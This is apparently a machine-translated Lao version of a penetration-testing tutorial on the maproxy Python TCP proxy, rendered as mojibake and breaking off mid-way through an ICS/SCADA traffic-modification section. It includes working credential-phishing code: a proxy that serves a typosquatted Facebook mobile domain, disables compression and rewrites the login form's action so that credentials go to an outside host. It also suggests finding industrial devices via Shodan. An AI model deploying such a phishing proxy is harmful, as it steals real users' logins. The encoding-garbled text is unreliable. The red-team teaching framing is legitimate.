เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบเบฒเบ™โ€‹เปเบ›โ€‹เบžเบฒโ€‹เบชเบฒโ€‹เบ‚เบญเบ‡โ€‹เบšเบปเบ”โ€‹เบ„เบงเบฒเบกโ€‹เป„เบ”เป‰โ€‹เบ–เบทเบโ€‹เบเบฐโ€‹เบเบฝเบกโ€‹เปƒเบ™โ€‹เบชเบฐโ€‹เบกเบฒเบ”โ€‹เบชเบฐโ€‹เบกเบฒเบ”โ€‹เบ‚เบญเบ‡โ€‹เบเบฒเบ™โ€‹เป€เบฅเบตเปˆเบกโ€‹เบ•เบปเป‰เบ™โ€‹เบ‚เบญเบ‡โ€‹เบงเบดโ€‹เบŠเบฒโ€‹เบเบฒเบ™ โ€œPentest. เบเบฒเบ™เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบ—เบปเบ”เบชเบญเบšเบเบฒเบ™เป€เบˆเบฒเบฐ ".

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบ„เบณ เบญเบฐเบ—เบดเบšเบฒเบ

เบ›เบฐเป€เบžเบ”เบ‚เบญเบ‡เบเบฒเบ™เบ›เบฐเป€เบกเบตเบ™เบ„เบงเบฒเบกเบ›เบญเบ”เป„เบž, เบ•เบฑเป‰เบ‡เปเบ•เปˆเบเบฒเบ™เบ—เบปเบ”เบชเบญเบšเบเบฒเบ™เป€เบˆเบฒเบฐเปเบšเบšเบ›เบปเบเบเบฐเบ•เบดเปเบฅเบฐเบเบฒเบ™เบ”เปเบฒเป€เบ™เบตเบ™เบ‡เบฒเบ™เบ‚เบญเบ‡เบ—เบตเบกเบชเบตเปเบ”เบ‡เบˆเบปเบ™เป€เบ–เบดเบ‡เบเบฒเบ™ hack เบญเบธเบ›เบฐเบเบญเบ™ IoT / ICS เปเบฅเบฐ SCADA, เบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เป€เบฎเบฑเบ”เบงเบฝเบเบเบฑเบšเป‚เบ›เป‚เบ•เบ„เบญเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบชเบญเบ‡, เบ™เบฑเป‰เบ™เปเบกเปˆเบ™, เบชเบฐเบเบฑเบ”เปเบฅเบฐเบ”เบฑเบ”เปเบ›เบ‡เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบฅเบฐเบซเบงเปˆเบฒเบ‡เบฅเบนเบเบ„เป‰เบฒเปเบฅเบฐเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบ. เบเบฒเบ™เบˆเบฒเบฅเบฐเบˆเบญเบ™เบ‚เบญเบ‡เป€เบ„เบทเบญเบ‚เปˆเบฒเบ sniffing เบšเปเปˆเปเบกเปˆเบ™เบงเบฝเบเบ—เบตเปˆเบเบฒเบเป€เบžเบฒเบฐเบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบกเบตเป€เบ„เบทเปˆเบญเบ‡เบกเบทเป€เบŠเบฑเปˆเบ™ Wireshark, Tcpdump เบซเบผเบท Scapy, เปเบ•เปˆเบเบฒเบ™เบ”เบฑเบ”เปเบเป‰เป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒเป€เบ›เบฑเบ™เบงเบฝเบเบ—เบตเปˆเปƒเบŠเป‰เปเบฎเบ‡เบ‡เบฒเบ™เบซเบผเบฒเบเป€เบžเบฒเบฐเบงเปˆเบฒเบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเบ•เป‰เบญเบ‡เบกเบตเบเบฒเบ™เป‚เบ•เป‰เบ•เบญเบšเบšเบฒเบ‡เบขเปˆเบฒเบ‡เป€เบžเบทเปˆเบญเบญเปˆเบฒเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ, เบเบฒเบ™เบเบฑเปˆเบ™เบ•เบญเบ‡, เบ›เปˆเบฝเบ™เปเบ›เบ‡. เบกเบฑเบ™เบขเบนเปˆเปƒเบ™เบเบฒเบ™เบšเบดเบ™เปเบฅเบฐเบชเบปเปˆเบ‡เบกเบฑเบ™เบเบฑเบšเบ„เบทเบ™เป„เบ›เบซเบฒเป€เบˆเบปเป‰เบฒเบžเบฒเบšเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเปƒเบ™เป€เบงเบฅเบฒเป€เบเบทเบญเบšเบˆเบดเบ‡. เบ™เบญเบเบˆเบฒเบเบ™เบฑเป‰เบ™, เบกเบฑเบ™เบˆเบฐเป€เบ›เบฑเบ™เบ—เบตเปˆเป€เบซเบกเบฒเบฐเบชเบปเบกเบ–เป‰เบฒเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเบชเบฒเบกเบฒเบ”เป€เบฎเบฑเบ”เบงเบฝเบเป‚เบ”เบเบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เบเบฑเบšเบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบ‚เบฐเบซเบ™เบฒเบ™เบซเบผเบฒเบเปเบฅเบฐเบชเบฒเบกเบฒเบ”เบ›เบฑเบšเปเบ•เปˆเบ‡เป„เบ”เป‰เป‚เบ”เบเปƒเบŠเป‰เบชเบฐเบ„เบดเบš.

เบกเบทเป‰เบซเบ™เบถเปˆเบ‡เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเป„เบ”เป‰เบ„เบปเป‰เบ™เบžเบปเบšเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ—เบตเปˆเป€เบญเบตเป‰เบ™เบงเปˆเบฒ maproxy, เป€เบญเบเบฐเบชเบฒเบ™เบขเปˆเบฒเบ‡เป„เบงเบงเบฒเป€เบฎเบฑเบ”เปƒเบซเป‰เบกเบฑเบ™เบŠเบฑเบ”เป€เบˆเบ™เบเบฑเบšเบ‚เป‰เบญเบเบงเปˆเบฒ maproxy โ€“ เบžเบฝเบ‡โ€‹เปเบ•เปˆโ€‹เบชเบดเปˆเบ‡โ€‹เบ—เบตเปˆโ€‹เบ‚เป‰เบฒโ€‹เบžเบฐโ€‹เป€เบˆเบปเป‰เบฒโ€‹เบ•เป‰เบญเบ‡โ€‹เบเบฒเบ™โ€‹. เบ™เบตเป‰โ€‹เปเบกเปˆเบ™โ€‹เป€เบ›เบฑเบ™โ€‹เบ—เปเบฒโ€‹เบกเบฐโ€‹เบ”เบฒโ€‹เบ—เบตเปˆโ€‹เบ‡เปˆเบฒเบโ€‹เบ”เบฒเบโ€‹, versatile เปเบฅเบฐโ€‹เบเบฒเบ™โ€‹เบ•เบฑเป‰เบ‡โ€‹เบ„เปˆเบฒ TCP proxy เป„เบ”เป‰โ€‹เบขเปˆเบฒเบ‡โ€‹เบ‡เปˆเบฒเบโ€‹เบ”เบฒเบโ€‹. เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเป„เบ”เป‰เบ—เบปเบ”เบชเบญเบšเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ™เบตเป‰เบขเบนเปˆเปƒเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบชเบฐเบซเบกเบฑเบเบ—เบตเปˆเบชเบฑเบšเบชเบปเบ™เบซเบผเบฒเบ, เบฅเบงเบกเบ—เบฑเบ‡เบญเบธเบ›เบฐเบเบญเบ™ ICS (เป€เบŠเบดเปˆเบ‡เบชเป‰เบฒเบ‡เปเบžเบฑเบเป€เบเบฑเบ”เบˆเปเบฒเบ™เบงเบ™เบซเบฅเบฒเบ) เป€เบžเบทเปˆเบญเป€เบšเบดเปˆเบ‡เบงเปˆเบฒเบกเบฑเบ™เบชเบฒเบกเบฒเบ”เบˆเบฑเบ”เบเบฒเบ™เบเบฑเบšเบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบ‚เบฐเบซเบ™เบฒเบ™เบซเบผเบฒเบ, เปเบฅเบฐเป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ›เบฐเบ•เบดเบšเบฑเบ”เป„เบ”เป‰เบ”เบต.

เบšเบปเบ”โ€‹เบ„เบงเบฒเบกโ€‹เบ™เบตเป‰โ€‹เบˆเบฐโ€‹เปเบ™เบฐโ€‹เบ™เปเบฒโ€‹เปƒเบซเป‰โ€‹เบ—เปˆเบฒเบ™โ€‹เบเบฑเบšโ€‹เบเบฒเบ™โ€‹เบ›เบธเบ‡โ€‹เปเบ•เปˆเบ‡โ€‹เบ‚เปเป‰โ€‹เบกเบนเบ™โ€‹เป€เบ„เบทเบญโ€‹เบ‚เปˆเบฒเบโ€‹เปƒเบ™โ€‹เบเบฒเบ™โ€‹เบšเบดเบ™โ€‹เป‚เบ”เบโ€‹เบ™เปเบฒโ€‹เปƒเบŠเป‰โ€‹ maproxy.

เบžเบฒเบšเบฅเบงเบก

เป€เบ„เบทเปˆเบญเบ‡เบกเบท maproxy เปเบกเปˆเบ™เบญเบตเบ‡เปƒเบชเปˆ Tornado, เบเบญเบšเป€เบ„เบทเบญเบ‚เปˆเบฒเบ asynchronous เบ—เบตเปˆเบ™เบดเบเบปเบก เปเบฅเบฐเป€เบ›เบฑเบ™เบœเบนเป‰เปƒเบซเบเปˆเปƒเบ™ Python.

เป‚เบ”เบเบ—เบปเปˆเบงเป„เบ›, เบกเบฑเบ™เบชเบฒเบกเบฒเบ”เบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เปƒเบ™เบซเบผเบฒเบเบฎเบนเบšเปเบšเบš:

  • TCP:TCP - เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆ TCP เบ—เบตเปˆเบšเปเปˆเป„เบ”เป‰เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”;
  • TCP:SSL ะธ SSL:TCP - เบ”เป‰เบงเบเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ”เบ—เบฒเบ‡เบ”เบฝเบง;
  • SSL:SSL - เบเบฒเบ™โ€‹เป€เบ‚เบปเป‰เบฒโ€‹เบฅเบฐโ€‹เบซเบฑเบ”โ€‹เบชเบญเบ‡โ€‹เบ—เบฒเบ‡โ€‹.

เบกเบฑเบ™เบกเบฒเป€เบ›เบฑเบ™เบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ”. เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เป„เบง, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ™เปเบฒเปƒเบŠเป‰เป„เบŸเบฅเปŒเบ•เบปเบงเบขเปˆเบฒเบ‡เบ—เบตเปˆเบชเบฐเบ—เป‰เบญเบ™เปƒเบซเป‰เป€เบซเบฑเบ™เบ•เบปเป‰เบ™เบ•เป เบซเบ™เป‰เบฒเบ—เบตเปˆเบซเป‰เบญเบ‡เบชเบฐเบซเบกเบธเบ”:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

เบเปเบฅเบฐเบ™เบต 1 โ€“ เบ•เบปเบงเปเบ—เบ™ bidirectional เบ‡เปˆเบฒเบเบ”เบฒเบ

เบญเบตเบ‡เปƒเบชเปˆ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

เบ•เบฑเป‰เบ‡เปเบ•เปˆเบ•เบญเบ™เบ•เบปเป‰เบ™ ProxyServer() เป€เบญเบปเบฒเบชเบญเบ‡เบเบฒเบ™เป‚เบ•เป‰เบ–เบฝเบ‡ - เบชเบฐเบ–เบฒเบ™เบ—เบตเปˆเป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเปเบฅเบฐเบžเบญเบ”เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบ. server.listen() เป€เบญเบปเบฒเบเบฒเบ™เป‚เบ•เป‰เบ–เบฝเบ‡เบซเบ™เบถเปˆเบ‡ - เบžเบญเบ”เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบŸเบฑเบ‡เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบ‚เบฒเป€เบ‚เบปเป‰เบฒ.

เบเบฒเบ™โ€‹เบ›เบฐโ€‹เบ•เบดโ€‹เบšเบฑเบ”โ€‹เบชเบฐโ€‹เบ„เบดเบšโ€‹:

# python tcp2tcp.py

เป€เบžเบทเปˆเบญเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ—เบปเบ”เบชเบญเบš, เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบเบฑเบšเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ SSH เบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™เป‚เบ”เบเบœเปˆเบฒเบ™เบชเบฐเบ„เบดเบšเบ•เบปเบงเปเบ—เบ™เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ, เป€เบŠเบดเปˆเบ‡เบŸเบฑเบ‡เบขเบนเปˆเปƒเบ™. 2222/tcp เบžเบญเบ”เปเบฅเบฐเป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบเบฑเบšเบžเบญเบ”เบกเบฒเบ”เบ•เบฐเบ–เบฒเบ™ 22/tcp เป€เบŠเบตเบšเป€เบงเบต SSH:

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบ›เป‰เบฒเบเป‚เบ„เบชเบฐเบ™เบฒเบเบดเบ™เบ”เบตเบ•เป‰เบญเบ™เบฎเบฑเบšเปเบˆเป‰เบ‡เปƒเบซเป‰เบ—เปˆเบฒเบ™เบฎเบนเป‰เบงเปˆเบฒเบชเบฐเบ„เบดเบšเบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ•เบปเบงเปเบ—เบ™เบเบฒเบ™เบˆเบฐเบฅเบฒเบˆเบญเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบชเบปเบšเบœเบปเบ™เบชเปเบฒเป€เบฅเบฑเบ”.

เบเปเบฅเบฐเบ™เบตเบ—เบต 2 - เบเบฒเบ™เบ”เบฑเบ”เปเบเป‰เบ‚เปเป‰เบกเบนเบ™

เบชเบฐเบ„เบฃเบดเบšเบชเบฒเบ—เบดเบ”เบญเบทเปˆเบ™ logging_proxy.py เป€เบซเบกเบฒเบฐเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบžเบปเบงเบžเบฑเบ™เบเบฑเบšเบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ. เบ„เปเบฒเป€เบซเบฑเบ™เปƒเบ™เป„เบŸเบฅเปŒเบญเบฐเบ—เบดเบšเบฒเบเบงเบดเบ—เบตเบเบฒเบ™เบซเป‰เบญเบ‡เบฎเบฝเบ™เบ—เบตเปˆเบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ”เบฑเบ”เปเบ›เบ‡เป€เบžเบทเปˆเบญเบšเบฑเบ™เบฅเบธเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบเบ‚เบญเบ‡เบ—เปˆเบฒเบ™:

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบชเบดเปˆเบ‡เบ—เบตเปˆเบซเบ™เป‰เบฒเบชเบปเบ™เปƒเบˆเบ—เบตเปˆเบชเบธเบ”เปเบกเปˆเบ™เบขเบนเปˆเบ—เบตเปˆเบ™เบตเป‰:

  • on_c2p_done_read โ€“ เป€เบžเบทเปˆเบญเบชเบฐเบเบฑเบ”เบ‚เปเป‰เบกเบนเบ™เบ•เบฒเบกเบ—เบฒเบ‡เบˆเบฒเบเบฅเบนเบเบ„เป‰เบฒเป„เบ›เบซเบฒเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ;
  • on_p2s_done_read - เบ›เบตเป‰เบ™เบเบฑเบšเบเบฑเบ™.

เบฅเบญเบ‡เบ›เปˆเบฝเบ™เบ›เป‰เบฒเบเป‚เบ„เบชเบฐเบ™เบฒ SSH เบ—เบตเปˆเป€เบŠเบตเบšเป€เบงเบตเบชเบปเปˆเบ‡เบ„เบทเบ™เปƒเบซเป‰เบฅเบนเบเบ„เป‰เบฒ:

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

เบ›เบฐเบ•เบดเบšเบฑเบ” script:

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบ”เบฑเปˆเบ‡เบ—เบตเปˆเบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เป€เบซเบฑเบ™เป„เบ”เป‰, เบฅเบนเบเบ„เป‰เบฒเป„เบ”เป‰เบ–เบทเบเบซเบผเบญเบเบฅเบงเบ‡เป€เบžเบฒเบฐเบงเปˆเบฒเบŠเบทเปˆเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบ SSH เบชเปเบฒเบฅเบฑเบšเบฅเบฒเบงเป„เบ”เป‰เบ–เบทเบเบ›เปˆเบฝเบ™เป€เบ›เบฑเบ™ ยซDumnySSHยป.

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบเปเบฅเบฐเบ™เบตเบ—เบต 3 โ€“ เบซเบ™เป‰เบฒเป€เบงเบฑเบš phishing เบ‡เปˆเบฒเบเบ”เบฒเบ

เบกเบตเบงเบดเบ—เบตเบเบฒเบ™เบ—เบตเปˆเบšเปเปˆเบกเบตเบ—เบตเปˆเบชเบดเป‰เบ™เบชเบธเบ”เปƒเบ™เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เป€เบ„เบทเปˆเบญเบ‡เบกเบทเบ™เบตเป‰. เป€เบงเบฅเบฒเบ™เบตเป‰เปƒเบซเป‰เป€เบฎเบปเบฒเบชเบธเบกเปƒเบชเปˆเบชเบดเปˆเบ‡เบ—เบตเปˆเบ›เบฐเบ•เบดเบšเบฑเบ”เป„เบ”เป‰เบซเบผเบฒเบเบ‚เบถเป‰เบ™เบˆเบฒเบเบเปˆเบฒเบเบ›เบฐเบ•เบดเบšเบฑเบ”เบ‡เบฒเบ™เบ‚เบญเบ‡เบ—เบตเบกเบชเบตเปเบ”เบ‡. เปƒเบซเป‰เป€เบฎเบปเบฒเบฎเบฝเบ™เปเบšเบšเปœเป‰เบฒเบ”เบดเบ™ m.facebook.com เปเบฅเบฐเปƒเบŠเป‰เป‚เบ”เป€เบกเบ™เบ—เบตเปˆเบเบณเบ™เบปเบ”เป€เบญเบ‡เบ”เป‰เบงเบเบเบฒเบ™เบžเบดเบกเบœเบดเบ”เป‚เบ”เบเป€เบˆเบ”เบ•เบฐเบ™เบฒ, เบ•เบปเบงเบขเปˆเบฒเบ‡, m.facebok.com. เบชเปเบฒเบฅเบฑเบšเบˆเบธเบ”เบ›เบฐเบชเบปเบ‡เบเบฒเบ™เบชเบฒเบ—เบดเบ”, เปƒเบซเป‰เบชเบปเบกเบกเบธเบ”เบงเปˆเบฒเป‚เบ”เป€เบกเบ™เป„เบ”เป‰เบ–เบทเบเบฅเบปเบ‡เบ—เบฐเบšเบฝเบ™เป‚เบ”เบเบžเบงเบเป€เบฎเบปเบฒ.

เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เบˆเบฐโ€‹เบชเป‰เบฒเบ‡โ€‹เบ•เบฑเป‰เบ‡โ€‹เบเบฒเบ™โ€‹เป€เบŠเบทเปˆเบญเบกโ€‹เบ•เปเปˆโ€‹เป€เบ„เบทเบญโ€‹เบ‚เปˆเบฒเบโ€‹เบ—เบตเปˆโ€‹เบšเปเปˆโ€‹เป„เบ”เป‰โ€‹เป€เบ‚เบปเป‰เบฒโ€‹เบฅเบฐโ€‹เบซเบฑเบ”โ€‹เบเบฑเบš proxy เบœเบนเป‰โ€‹เบ–เบทเบโ€‹เป€เบ„เบฒเบฐโ€‹เบฎเป‰เบฒเบโ€‹เบ‚เบญเบ‡โ€‹เบžเบงเบโ€‹เป€เบฎเบปเบฒโ€‹เปเบฅเบฐ SSL Stream เบเบฑเบšโ€‹เป€เบŠเบตเบšโ€‹เป€เบงเบตโ€‹เป€เบŸโ€‹เบชโ€‹เบšเบธเบ (31.13.81.36). เป€เบžเบทเปˆเบญเป€เบฎเบฑเบ”เปƒเบซเป‰เบ•เบปเบงเบขเปˆเบฒเบ‡เบ™เบตเป‰เป€เบฎเบฑเบ”เบงเบฝเบ, เบžเบงเบเป€เบฎเบปเบฒเบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เบ›เปˆเบฝเบ™เบชเปˆเบงเบ™เบซเบปเบง HTTP host เปเบฅเบฐเปƒเบชเปˆเบŠเบทเปˆเป‚เบฎเบ”เบ—เบตเปˆเบ–เบทเบเบ•เป‰เบญเบ‡, เปเบฅเบฐเบžเบงเบเป€เบฎเบปเบฒเบเบฑเบ‡เบˆเบฐเบ›เบดเบ”เบเบฒเบ™เบšเบตเบšเบญเบฑเบ”เบเบฒเบ™เบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡เป€เบžเบทเปˆเบญเปƒเบซเป‰เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เป€เบ‚เบปเป‰เบฒเบซเบฒเป€เบ™เบทเป‰เบญเบซเบฒเป„เบ”เป‰เบ‡เปˆเบฒเบ. เปƒเบ™เบ—เบตเปˆเบชเบธเบ”เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเบ›เปˆเบฝเบ™เปเบšเบšเบŸเบญเบก HTML เป€เบžเบทเปˆเบญเปƒเบซเป‰เบ‚เปเป‰เบกเบนเบ™เบเบฒเบ™เป€เบ‚เบปเป‰เบฒเบชเบนเปˆเบฅเบฐเบšเบปเบšเบ–เบทเบเบชเบปเปˆเบ‡เป„เบ›เบซเบฒเบžเบงเบเป€เบฎเบปเบฒเปเบ—เบ™เบ—เบตเปˆเบˆเบฐเป€เบ›เบฑเบ™เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบ‚เบญเบ‡ Facebook:

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/lo/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

เปƒเบ™เบ—เบตเปˆเบชเบธเบ”:

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

เบ”เบฑเปˆเบ‡เบ—เบตเปˆเป€เบˆเบปเป‰เบฒเบชเบฒเบกเบฒเบ”เป€เบซเบฑเบ™เป„เบ”เป‰, เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เบ›เปˆเบฝเบ™เปเบ—เบ™เป€เบงเบฑเบšเป„เบŠเบ—เปŒเบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบšเป„เบ”เป‰เบขเปˆเบฒเบ‡เบชเปเบฒเป€เบฅเบฑเบ”เบœเบปเบ™.

เบเปเบฅเบฐเบ™เบตเบ—เบต 4 โ€“ Porting Ethernet/IP

เบ‚เป‰เบญเบเป„เบ”เป‰เบˆเบฑเบ”เบเบฒเบ™เบเบฑเบšเบญเบธเบ›เบฐเบเบญเบ™เบญเบธเบ”เบชเบฒเบซเบฐเบเปเบฒเปเบฅเบฐเบŠเบญเบšเปเบง (ICS / SCADA) เป€เบ›เบฑเบ™เป€เบงเบฅเบฒเบ‚เป‰เบญเบ™เบ‚เป‰เบฒเบ‡, เป€เบŠเบฑเปˆเบ™: เบ•เบปเบงเบ„เบงเบšเบ„เบธเบกเป‚เบ„เบ‡เบเบฒเบ™ (PLC), เป‚เบกเบ”เบนเบ™ I/O, เป„เบ”, เบฅเบตเป€เบฅ, เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบเบฒเบ™เบ‚เบฝเบ™เป‚เบ›เบผเปเบเบผเบก ladder เปเบฅเบฐเบญเบทเปˆเบ™เป†เบญเบตเบ. เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰เปเบกเปˆเบ™เบชเปเบฒเบฅเบฑเบšเบœเบนเป‰เบ—เบตเปˆเบกเบฑเบเบชเบดเปˆเบ‡เบญเบธเบ”เบชเบฒเบซเบฐเบเปเบฒ. เบเบฒเบ™ hack เบงเบดเบ—เบตเปเบเป‰เป„เบ‚เบ”เบฑเปˆเบ‡เบเปˆเบฒเบงเบเปˆเบฝเบงเบ‚เป‰เบญเบ‡เบเบฑเบšเบเบฒเบ™เบซเบผเบดเป‰เบ™เบขเปˆเบฒเบ‡เบˆเบดเบ‡เบˆเบฑเบ‡เบเบฑเบšเป‚เบ›เป‚เบ•เบ„เบญเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ. เปƒเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰, เบ‚เป‰เบฒเบžเบฐเป€เบˆเบปเป‰เบฒเบขเบฒเบเบชเบฐเปเบ”เบ‡เบงเบดเบ—เบตเบ—เบตเปˆเบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบ”เบฑเบ”เปเบ›เบ‡เบเบฒเบ™เบˆเบฒเบฅเบฐเบˆเบญเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบ ICS/SCADA.

เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ™เบตเป‰, เบ—เปˆเบฒเบ™เบˆเบฐเบ•เป‰เบญเบ‡เบเบฒเบ™เบ”เบฑเปˆเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰:

  • เป€เบ„เบทเบญเบ‚เปˆเบฒเบ sniffer, เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบเบปเบเบ•เบปเบงเบขเปˆเบฒเบ‡, Wireshark;
  • เบญเบตเป€เบ—เบตเป€เบ™เบฑเบ” / IP เบซเบผเบทเบžเบฝเบ‡เปเบ•เปˆเบญเบธเบ›เบฐเบเบญเบ™ SIP, เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบŠเบญเบเบซเบฒเบกเบฑเบ™เป‚เบ”เบเปƒเบŠเป‰เบšเปเบฅเบดเบเบฒเบ™ Shodan;
  • script เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเปเบกเปˆเบ™เบญเบตเบ‡เปƒเบชเปˆ maproxy.

เบ—เปเบฒเบญเบดเบ”, เปƒเบซเป‰เป€เบšเบดเปˆเบ‡เบชเบดเปˆเบ‡เบ—เบตเปˆเบเบฒเบ™เบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡เบเบฒเบ™เบเปเบฒเบ™เบปเบ”เบ›เบปเบเบเบฐเบ•เบดเบˆเบฒเบ CIP (Common Industrial Protocol) เป€เบšเบดเปˆเบ‡เบ„เบทเบงเปˆเบฒ:

เบ›เบฐเบกเบงเบ™เบœเบปเบ™เบ‚เปเป‰เบกเบนเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเปƒเบ™เป€เบงเบฅเบฒเบšเบดเบ™

